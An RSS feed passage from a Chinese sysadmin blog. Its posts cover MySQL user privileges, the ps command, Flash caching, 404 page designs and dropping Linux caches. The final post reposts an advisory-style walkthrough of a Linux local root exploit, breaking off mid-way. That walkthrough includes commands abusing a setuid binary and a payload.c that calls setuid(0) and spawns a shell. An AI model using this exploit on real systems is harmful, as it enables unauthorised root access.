YES&nbsp;&nbsp;&#124;&nbsp;&nbsp;&nbsp;&nbsp; &#124; NULL&nbsp;&nbsp;&nbsp;&nbsp;&#124;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;+-------+-------------+------+-----+---------+-------+2 rows in set (0.00 sec)mysql&gt; insert into table1 values('Tom', 20); # 插入记录Query OK, 1 row affected (0.00 sec)mysql&gt; select * from table1; # 查询记录+------+------+&#124; name &#124; age&nbsp;&nbsp;&#124;+------+------+&#124; Tom&nbsp;&nbsp;&#124;&nbsp;&nbsp; 20 &#124;+------+------+1 row in set (0.00 sec)</pre><p><br />接下来我们为 user2, user3 分配权限。<br />&nbsp;</p><pre class="code">mysql&gt; grant select on test.* to user2; # 为 user2 分配 SELECT 权限。Query OK, 0 rows affected (0.00 sec)mysql&gt; grant select on test.* to user3; # 为 user3 分配 SELECT 权限。Query OK, 0 rows affected (0.00 sec)mysql&gt; grant insert, update on test.* to user2; # 再为 user2 增加 INSERT, UPDATE 权限。Query OK, 0 rows affected (0.00 sec)</pre><p><br />好了，我们退出，切换成 user2 操作看看。<br />&nbsp;</p><pre class="code">$ mysql -u user2 -p123456mysql&gt; use test; # 切换工作数据库Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changedmysql&gt; select database(); # 验证当前工作数据库+------------+&#124; database() &#124;+------------+&#124; test&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;+------------+1 row in set (0.00 sec)mysql&gt; select user(); # 验证当前账户+-----------------+&#124; user()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;+-----------------+&#124; user2@localhost &#124;+-----------------+1 row in set (0.00 sec)mysql&gt; show grants for user2; # 查看当前用户权限，显然后来添加的 INSERT, UPDATE 被添加了。+--------------------------------------------------------------------------------------------------+&#124; Grants for user2@%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;+--------------------------------------------------------------------------------------------------+&#124; GRANT USAGE ON *.* TO 'user2'@'%' IDENTIFIED BY PASSWORD '*6BB837....2C9'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;&#124; GRANT SELECT, INSERT, UPDATE ON `test`.* TO 'user2'@'%'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;+--------------------------------------------------------------------------------------------------+2 rows in set (0.00 sec)</pre><p><br />进行操作测试。<br />&nbsp;</p><pre class="code">mysql&gt; insert into table1 values(&quot;Jack&quot;, 21); # INSERT 操作成功Query OK, 1 row affected (0.00 sec)mysql&gt; update table1 set age=22 where name='Jack'; # UPDATE 操作成功Query OK, 1 row affected (0.00 sec)Rows matched: 1&nbsp;&nbsp;Changed: 1&nbsp;&nbsp;Warnings: 0mysql&gt; select * from table1; # SELECT 操作成功+------+------+&#124; name &#124; age&nbsp;&nbsp;&#124;+------+------+&#124; Tom&nbsp;&nbsp;&#124;&nbsp;&nbsp; 20 &#124;&#124; Jack &#124;&nbsp;&nbsp; 22 &#124;+------+------+2 rows in set (0.00 sec)mysql&gt; delete from table1 where age=22; # DELETE 操作无权限ERROR 1142 (42000): DELETE command denied to user 'user2'@'localhost' for table 'table1'</pre><p><br />我们切换回 user1 管理账户，移除 user2 的 UPDATE 权限看看。<br />&nbsp;</p><pre class="code">$ mysql -u user1 -p123456 testmysql&gt; revoke update on test.* from user2; # 移除 UPDATE 权限Query OK, 0 rows affected (0.00 sec)</pre><p><br />再次切换回 user2。<br />&nbsp;</p><pre class="code">$ mysql -u user2 -p123456 testmysql&gt; show grants for user2; # UPDATE 权限被移除+--------------------------------------------------------------------------------------------------+&#124; Grants for user2@%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;+--------------------------------------------------------------------------------------------------+&#124; GRANT USAGE ON *.* TO 'user2'@'%' IDENTIFIED BY PASSWORD '*6B...2AD9'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;&#124; GRANT SELECT, INSERT ON `test`.* TO 'user2'@'%'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;+--------------------------------------------------------------------------------------------------+2 rows in set (0.00 sec)mysql&gt; update table1 set age=23 where name='Jack'; # 不在拥有 UPDATE 权限ERROR 1142 (42000): UPDATE command denied to user 'user2'@'localhost' for table 'table1'</pre><p><br />好了，到此我们基本完成了创建用户和分配权限的操作。接下来，我们回到 root 进行修改用户密码和删除用户操作。<br />&nbsp;</p><pre class="code">$ mysql -u root -p123456mysql&gt; set password for user3=password('abcabc'); # 修改用户 user3 密码Query OK, 0 rows affected (0.00 sec)mysql&gt;flush privileges; # 刷新权限表(通常只在直接修改相关管理数据表后需要该操作)Query OK, 0 rows affected (0.00 sec)mysql&gt; revoke all on *.* from user2; # 移除 user2 在所有数据库上的权限 Query OK, 0 rows affected (0.00 sec)mysql&gt; drop user user2; # 删除 user2 账户Query OK, 0 rows affected (0.00 sec)mysql&gt; select user,host from mysql.user; # 验证删除结果+------------------+-----------+&#124; user&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124; host&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124;+------------------+-----------+&#124; user1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124; %&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;&#124; user3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#124; %&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124;&#124; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124; 127.0.0.1 &#124;&#124; debian-sys-maint &#124; localhost &#124;&#124; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124; localhost &#124;&#124; root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#124; server&nbsp;&nbsp;&nbsp;&nbsp;&#124;+------------------+-----------+6 rows in set (0.00 sec)</pre><p><br />用户 user2 无法再次使用。<br />&nbsp;</p><pre class="code">$ mysql -u user2 -p123456 testERROR 1045 (28000): Access denied for user 'user2'@'localhost' (using password: YES)</pre><p><br />试试 user3。<br />&nbsp;</p><pre class="code">$ mysql -u user3 -pabc test # 连接失败！哦，对了，我们修改了密码。ERROR 1045 (28000): Access denied for user 'user3'@'localhost' (using password: YES)$ mysql -u user3 -pabcabc test # 新密码成功mysql&gt; select * from table1; # SELECT 操作成功+------+------+&#124; name &#124; age&nbsp;&nbsp;&#124;+------+------+&#124; Tom&nbsp;&nbsp;&#124;&nbsp;&nbsp; 20 &#124;&#124; Jack &#124;&nbsp;&nbsp; 22 &#124;+------+------+2 rows in set (0.00 sec)</pre><p><br />要修改自己的密码直接执行 &quot;set password = password('new_password');&quot; 即可。<br /><br />------- 摘要 --------------------------------------<br /><br />创建用户:</p><pre class="code">GRANT insert, update ON testdb.* TO user1@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;CREATE USER user2 IDENTIFIED BY 'password';</pre><p><br />分配权限:</p><pre class="code">GRANT select ON testdb.* TO user2;</pre><p><br />查看权限:</p><pre class="code">SHOW GRANTS FOR user1;</pre><p><br />修改密码:</p><pre class="code">SET PASSWORD FOR user1 = PASSWORD('newpwd');SET PASSWORD = PASSWORD('newpwd');</pre><p><br />移除权限:</p><pre class="code">REVOKE all ON *.* FROM user1; </pre><p><br />删除用户:</p><pre class="code">DROP USER user1;</pre><p><br />数据库列表:</p><pre class="code">SHOW DATABASES;</pre><p><br />数据表列表:</p><pre class="code">SHOW TABLES;</pre><p><br />当前数据库:</p><pre class="code">SELECT DATABASE();</pre><p><br />当前用户:</p><pre class="code">SELECT USER();</pre><p><br />数据表结构:</p><pre class="code">DESCRIBE table1;</pre><p><br />刷新权限:</p><pre class="code">FLUSH PRIVILEGES;</pre><br/>Tags - <a href="http://www.yy520.net/tags/mysql/" rel="tag">mysql</a>
]]>
</description>
</item><item>
<link>http://www.yy520.net/articles/293/</link>
<title><![CDATA[Linux操作系统ps命令详细解析]]></title> 
<author>zzh &lt;zzhcool@126.com&gt;</author>
<category><![CDATA[系统管理]]></category>
<pubDate>Fri, 10 Jun 2011 05:14:31 +0000</pubDate> 
<guid>http://www.yy520.net/articles/293/</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp; 要对进程进行监测和控 制，首先必须要了解当前进程的情况，也就是需要查看当前进程，而 ps 命令就是最基本同时也是非常强大的进程查看命令。使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束、进程有没有僵死、哪些进程占用了过多 的资源等等。总之大部分信息都是可以通过执行该命令得到的。<br/>&nbsp;&nbsp;&nbsp;&nbsp;ps 为我们提供了进程的一次性的查看，它所提供的查看结果并不动态连续的；如果想对进程时间监控，应该用 top 工具。<br/>&nbsp;&nbsp;&nbsp;&nbsp;kill 用于杀死进程。<br/>&nbsp;&nbsp;&nbsp;&nbsp;1、ps 的参数说明<br/>&nbsp;&nbsp;&nbsp;&nbsp;ps 提供了很多的选项参数，常用的有以下几个：<br/>&nbsp;&nbsp;&nbsp;&nbsp;l 长格式输出；<br/>&nbsp;&nbsp;&nbsp;&nbsp;u 按用户名和启动时间的顺序来显示进程；<br/>&nbsp;&nbsp;&nbsp;&nbsp;j 用任务格式来显示进程；<br/>&nbsp;&nbsp;&nbsp;&nbsp;f 用树形格式来显示进程；<br/>&nbsp;&nbsp;&nbsp;&nbsp;a 显示所有用户的所有进程（包括其它用户）；<br/>&nbsp;&nbsp;&nbsp;&nbsp;x 显示无控制终端的进程；<br/>&nbsp;&nbsp;&nbsp;&nbsp;r 显示运行中的进程；<br/>&nbsp;&nbsp;&nbsp;&nbsp;ww 避免详细参数被截断；<br/>&nbsp;&nbsp;&nbsp;&nbsp;我们常用的选项是组合是 aux 或 lax,还有参数 f 的应用。<br/>&nbsp;&nbsp;&nbsp;&nbsp;2、ps aux 或 lax 输出的解释<br/>&nbsp;&nbsp;&nbsp;&nbsp;USER 进程的属主；<br/>&nbsp;&nbsp;&nbsp;&nbsp;PID 进程的ID;<br/>&nbsp;&nbsp;&nbsp;&nbsp;PPID 父进程；<br/>&nbsp;&nbsp;&nbsp;&nbsp;%CPU 进程占用的CPU百分比；<br/>&nbsp;&nbsp;&nbsp;&nbsp;%MEM 占用内存的百分比；<br/>&nbsp;&nbsp;&nbsp;&nbsp;NI 进程的NICE值，数值大，表示较少占用CPU时间；<br/>&nbsp;&nbsp;&nbsp;&nbsp;VSZ 进程虚拟大小；<br/>&nbsp;&nbsp;&nbsp;&nbsp;RSS 驻留中页的数量；<br/>&nbsp;&nbsp;&nbsp;&nbsp;TTY 终端ID<br/>&nbsp;&nbsp;&nbsp;&nbsp;STAT 进程状态（有以下几种）<br/>&nbsp;&nbsp;&nbsp;&nbsp;D 无法中断的休眠状态（通常 IO 的进程）；<br/><br/>Tags - <a href="http://www.yy520.net/tags/ps/" rel="tag">ps</a>
]]>
</description>
</item><item>
<link>http://www.yy520.net/articles/292/</link>
<title><![CDATA[Flash缓存问题(确保读取最新的SWF文件/如何阻止从缓存中读取加载变量)]]></title> 
<author>zzh &lt;zzhcool@126.com&gt;</author>
<category><![CDATA[网站服务器]]></category>
<pubDate>Wed, 18 May 2011 13:36:59 +0000</pubDate> 
<guid>http://www.yy520.net/articles/292/</guid> 
<description>
<![CDATA[ 
	<p>　　每次制作含有FLASH的页面时。当FLASH更新后。都必须在IE缓存里清空一次。才能看到更新后的FLASH在页面中的效果。这让我很麻烦。解决方案：</p><p>　　使用以下的方法，使SWF文件强制不从浏览器读本地的缓存。或强制其SWF文件每次都去 读取最新的媒体文件</p><p>　　确保每次都读取最新的SWF文件</p><p>　　1：使用&quot;Expires&quot;标头 这是在HTML文件中告诉浏览器不读取本地缓存</p><p>　　在&lt;head&gt; &lt;/head&gt; 中间加以下代码</p><p>&lt;!-- BEGIN INSERT --&gt; <br />&lt;META HTTP-EQUIV=&quot;Expires&quot; CONTENT=&quot;Mon, 04 Dec 1999 21:29:02 GMT&quot;&gt;<br />&lt;!-- END INSERT --&gt;</p><p>　　这样的话，每次访问这个文件都会告诉浏览器其缓存版本过期，将重新从服务器端读取最新的文件</p><p>　　2：直接告诉浏览器根本就没有缓存</p><p>　　在包含SWF文件的HTML页面里的&lt;/body&gt;插入：</p><p>&lt;!-- BEGIN INSERT --&gt;<br />&lt;HEAD&gt;<br />&lt;META HTTP-EQUIV=&quot;PRAGMA&quot; CONTENT=&quot;NO-CACHE&quot;&gt;<br />&lt;/HEAD&gt;<br />&lt;!-- END INSERT --&gt;</p><p>　　没有Cache标头 不支持IE5版本，所以微软建议使用带Cacahe控制标头</p><p>　　3：当在HTML页面间连接跳转时</p><p>　　在点击超连接时将强制其从服务器上下载最新文档而不是从本地缓存中浏览</p><p>　　例如：</p><p>&lt;A HREF=&quot;stockPrices.htm?1&quot;&gt;Current stock prices&lt;/A&gt;</p><p>　　以上方法将阻止读取本地缓存</p><p>　　如何阻止从缓存中读取加载变量</p><p>　　问题：</p><p>　　当从外部数据源加载数据时，有时浏览器将数据存贮在本地缓存中，这样就导致在调用loadVariables方法加载数据时会从本地缓存中读取数据而代替从原始数据读取的信息。</p><p>　　解决：</p><p>　　为确保flash加载的是最新的变量，附加一个随机数变量，这样就可以原始档中加载最新的数据</p><p>　　例如：</p><p>　　方法一：</p><p>loadVariables(&quot;mypage.asp?nocache=&quot; + random(65000), 0, &quot;POST&quot;);</p><p>　　方法二：</p><p>loadVariables(&quot;mypage.asp?nocache=&quot; + getTimer(), 0, &quot;POST&quot;);</p><p>　　这样确保每次加载的数据是最新的.</p><br/>Tags - <a href="http://www.yy520.net/tags/%25E7%25BC%2593%25E5%25AD%2598/" rel="tag">缓存</a>
]]>
</description>
</item><item>
<link>http://www.yy520.net/articles/291/</link>
<title><![CDATA[有趣的404错误页面展示]]></title> 
<author>zzh &lt;zzhcool@126.com&gt;</author>
<category><![CDATA[业界资讯]]></category>
<pubDate>Mon, 16 May 2011 01:26:33 +0000</pubDate> 
<guid>http://www.yy520.net/articles/291/</guid> 
<description>
<![CDATA[ 
	<p>今天给大家带来的一些设计的非常有创意的404错误页面，这些网站设计者都将微软默认的404错误显示页面替换成了非常具有自己网站特色风格的页面，有些页面甚至还带有声音，让没有找到需求信息的郁闷访问者看了也会不由自主的会心一笑，可能对网站的不爽也就暂时抛弃脑后了。</p><p><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601245497530.jpg" /><br /><a href="http://www.boredpanda.com/404"><a href="http://www.boredpanda.com/404" target="_blank">http://www.boredpanda.com/404</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601245866782.jpg" /><br /><a href="http://www.catswhocode.com/blog/404"><a href="http://www.catswhocode.com/blog/404" target="_blank">http://www.catswhocode.com/blog/404</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601250188291.jpg" /><br /><a href="http://www.limpfish.com/404"><a href="http://www.limpfish.com/404" target="_blank">http://www.limpfish.com/404</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601250320708.jpg" /><br /><a href="http://homestarrunner.com/404"><a href="http://homestarrunner.com/404" target="_blank">http://homestarrunner.com/404</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601250727330.jpg" /><br /><a href="http://www.thetruth.com/404"><a href="http://www.thetruth.com/404" target="_blank">http://www.thetruth.com/404</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601251097997.jpg" /><br /><a href="http://www.heinz.com/404"><a href="http://www.heinz.com/404" target="_blank">http://www.heinz.com/404</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601251542299.jpg" /><br /><a href="http://dazeofourlives.com/404"><a href="http://dazeofourlives.com/404" target="_blank">http://dazeofourlives.com/404</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601251916350.jpg" /><br /><a href="http://www.acorncreative.com/404"><a href="http://www.acorncreative.com/404" target="_blank">http://www.acorncreative.com/404</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601252195317.jpg" /><br /><a href="http://seecoy.com/hereIsOneYouMissed"><a href="http://seecoy.com/hereIsOneYouMissed" target="_blank">http://seecoy.com/hereIsOneYouMissed</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601252664423.jpg" /><br /><a href="http://24-7media.de/saadasd"><a href="http://24-7media.de/saadasd" target="_blank">http://24-7media.de/saadasd</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601252759965.jpg" /><br /><a href="http://retardzone.com/sdfsdf"><a href="http://retardzone.com/sdfsdf" target="_blank">http://retardzone.com/sdfsdf</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601253171257.jpg" /><br /><a href="http://www.dawdle.com/error_page.php"><a href="http://www.dawdle.com/error_page.php" target="_blank">http://www.dawdle.com/error_page.php</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601253543016.jpg" /><br /><a href="http://www.centerd.com/error.html"><a href="http://www.centerd.com/error.html" target="_blank">http://www.centerd.com/error.html</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601253893713.jpg" /><br /><a href="http://www.southparkstudios.com/404"><a href="http://www.southparkstudios.com/404" target="_blank">http://www.southparkstudios.com/404</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601254018923.jpg" /><br /><a href="http://www.larknews.com/july_2004/5.html"><a href="http://www.larknews.com/july_2004/5.html" target="_blank">http://www.larknews.com/july_2004/5.html</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601254579219.jpg" /><br /><a href="http://www.ddz.net/404/index.htm"><a href="http://www.ddz.net/404/index.htm" target="_blank">http://www.ddz.net/404/index.htm</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601255115679.jpg" /><br /><a href="http://www.lightpostcreative.com/404"><a href="http://www.lightpostcreative.com/404" target="_blank">http://www.lightpostcreative.com/404</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601255346787.jpg" /><br /><a href="http://www.lileks.com/404"><a href="http://www.lileks.com/404" target="_blank">http://www.lileks.com/404</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601255919316.jpg" /><br /><a href="http://www.nickciske.com/404.htm"><a href="http://www.nickciske.com/404.htm" target="_blank">http://www.nickciske.com/404.htm</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601260099934.jpg" /><br /><a href="http://renkoo.com/404.html"><a href="http://renkoo.com/404.html" target="_blank">http://renkoo.com/404.html</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601260510950.jpg" /><br /><a href="http://abduzeedo.com/4023"><a href="http://abduzeedo.com/4023" target="_blank">http://abduzeedo.com/4023</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601260810574.jpg" /><br /><a href="http://patterntap.com/404"><a href="http://patterntap.com/404" target="_blank">http://patterntap.com/404</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601261474410.jpg" /><br /><a href="http://sendables.jibjab.com/rfrreerer"><a href="http://sendables.jibjab.com/rfrreerer" target="_blank">http://sendables.jibjab.com/rfrreerer</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601261784012.jpg" /><br /><a href="http://www.funned.net/404"><a href="http://www.funned.net/404" target="_blank">http://www.funned.net/404</a></a><br /><img alt="有趣的404错误页面展示" style="border-bottom: black 1px solid; border-left: black 1px solid; border-top: black 1px solid; border-right: black 1px solid" src="/attachment/image/2011051601262084371.jpg" /><br /><a href="http://www.zivity.com/404"><a href="http://www.zivity.com/404" target="_blank">http://www.zivity.com/404</a></a></p><br/>Tags - <a href="http://www.yy520.net/tags/404/" rel="tag">404</a>
]]>
</description>
</item><item>
<link>http://www.yy520.net/articles/290/</link>
<title><![CDATA[Linux如何释放cached]]></title> 
<author>zzh &lt;zzhcool@126.com&gt;</author>
<category><![CDATA[系统管理]]></category>
<pubDate>Tue, 29 Mar 2011 04:15:49 +0000</pubDate> 
<guid>http://www.yy520.net/articles/290/</guid> 
<description>
<![CDATA[ 
	因为LINUX的内核机制，一般情况下不需要特意去释放已经使用的cache。这些cache起来的内容可以增加文件以及的读写速度。<br/>先说下free命令怎么看内存 <br/><br/>[root@yuyii proc]# free <br/>total used free shared buffers cached<br/>Mem: 515588 295452 220136 0 2060 64040<br/>-/+ buffers/cache: 229352 286236<br/>Swap: 682720 112 682608 <br/><br/>其中第一行用全局角度描述系统使用的内存状况：<br/>total——总物理内存<br/>used——已使用内存，一般情况这个值会比较大，因为这个值包括了cache+应用程序使用的内存<br/>free——完全未被使用的内存<br/>shared——应用程序共享内存<br/>buffers——缓存，主要用于目录方面,inode值等（ls大目录可看到这个值增加）<br/>cached——缓存，用于已打开的文件<br/>note:<br/>total=used+free<br/>used=buffers+cached (maybe add shared also) <br/><br/>第二行描述应用程序的内存使用：<br/>前个值表示-buffers/cache——应用程序使用的内存大小，used减去缓存值<br/>后个值表示+buffers/cache——所有可供应用程序使用的内存大小，free加上缓存值<br/>note:<br/>-buffers/cache=used-buffers-cached<br/>+buffers/cache=free+buffers+cached <br/><br/>第三行表示swap的使用：<br/>used——已使用<br/>free——未使用 <br/><br/>cache释放：<br/>To free pagecache:<br/>echo 1 > /proc/sys/vm/drop_caches<br/>To free dentries and inodes:<br/>echo 2 > /proc/sys/vm/drop_caches<br/>To free pagecache, dentries and inodes:<br/>echo 3 > /proc/sys/vm/drop_caches <br/><br/>说明，释放前最好sync一下，防止丢数据。<br/>Tags - <a href="http://www.yy520.net/tags/cached/" rel="tag">cached</a>
]]>
</description>
</item><item>
<link>http://www.yy520.net/articles/289/</link>
<title><![CDATA[linux2.6内核本地提权]]></title> 
<author>zzh &lt;zzhcool@126.com&gt;</author>
<category><![CDATA[系统安全]]></category>
<pubDate>Tue, 29 Mar 2011 04:05:55 +0000</pubDate> 
<guid>http://www.yy520.net/articles/289/</guid> 
<description>
<![CDATA[ 
	It is possible to exploit this flaw to execute arbitrary code as root.<br/><br/>Please note, this is a low impact vulnerability that is only of interest to<br/>security professionals and system administrators. End users do not need<br/>to be concerned.<br/><br/>Exploitation would look like the following.<br/><br/># Create a directory in /tmp we can control.<br/>$ mkdir /tmp/exploit<br/> <br/># Link to an suid binary, thus changing the definition of $ORIGIN.<br/>$ ln /bin/ping /tmp/exploit/target<br/> <br/># Open a file descriptor to the target binary (note: some users are surprised<br/># to learn exec can be used to manipulate the redirections of the current<br/># shell if a command is not specified. This is what is happening below).<br/>$ exec 3< /tmp/exploit/target<br/> <br/># This descriptor should now be accessible via /proc.<br/>$ ls -l /proc/$$/fd/3<br/>lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*<br/> <br/># Remove the directory previously created<br/>$ rm -rf /tmp/exploit/<br/> <br/># The /proc link should still exist, but now will be marked deleted.<br/>$ ls -l /proc/$$/fd/3<br/>lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)<br/> <br/># Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().<br/>$ cat > payload.c<br/>void __attribute__((constructor)) init()<br/>&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;setuid(0);<br/>&nbsp;&nbsp;&nbsp;&nbsp;system("/bin/bash");<br/>&#125;<br/>^D<br/>$ gcc -w -fPIC -shared -o /tmp/exploit payload.c<br/>$ ls -l /tmp/exploit<br/>-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*<br/> <br/># Now force the link in /proc to load $ORIGIN via LD_AUDIT.<br/>$ 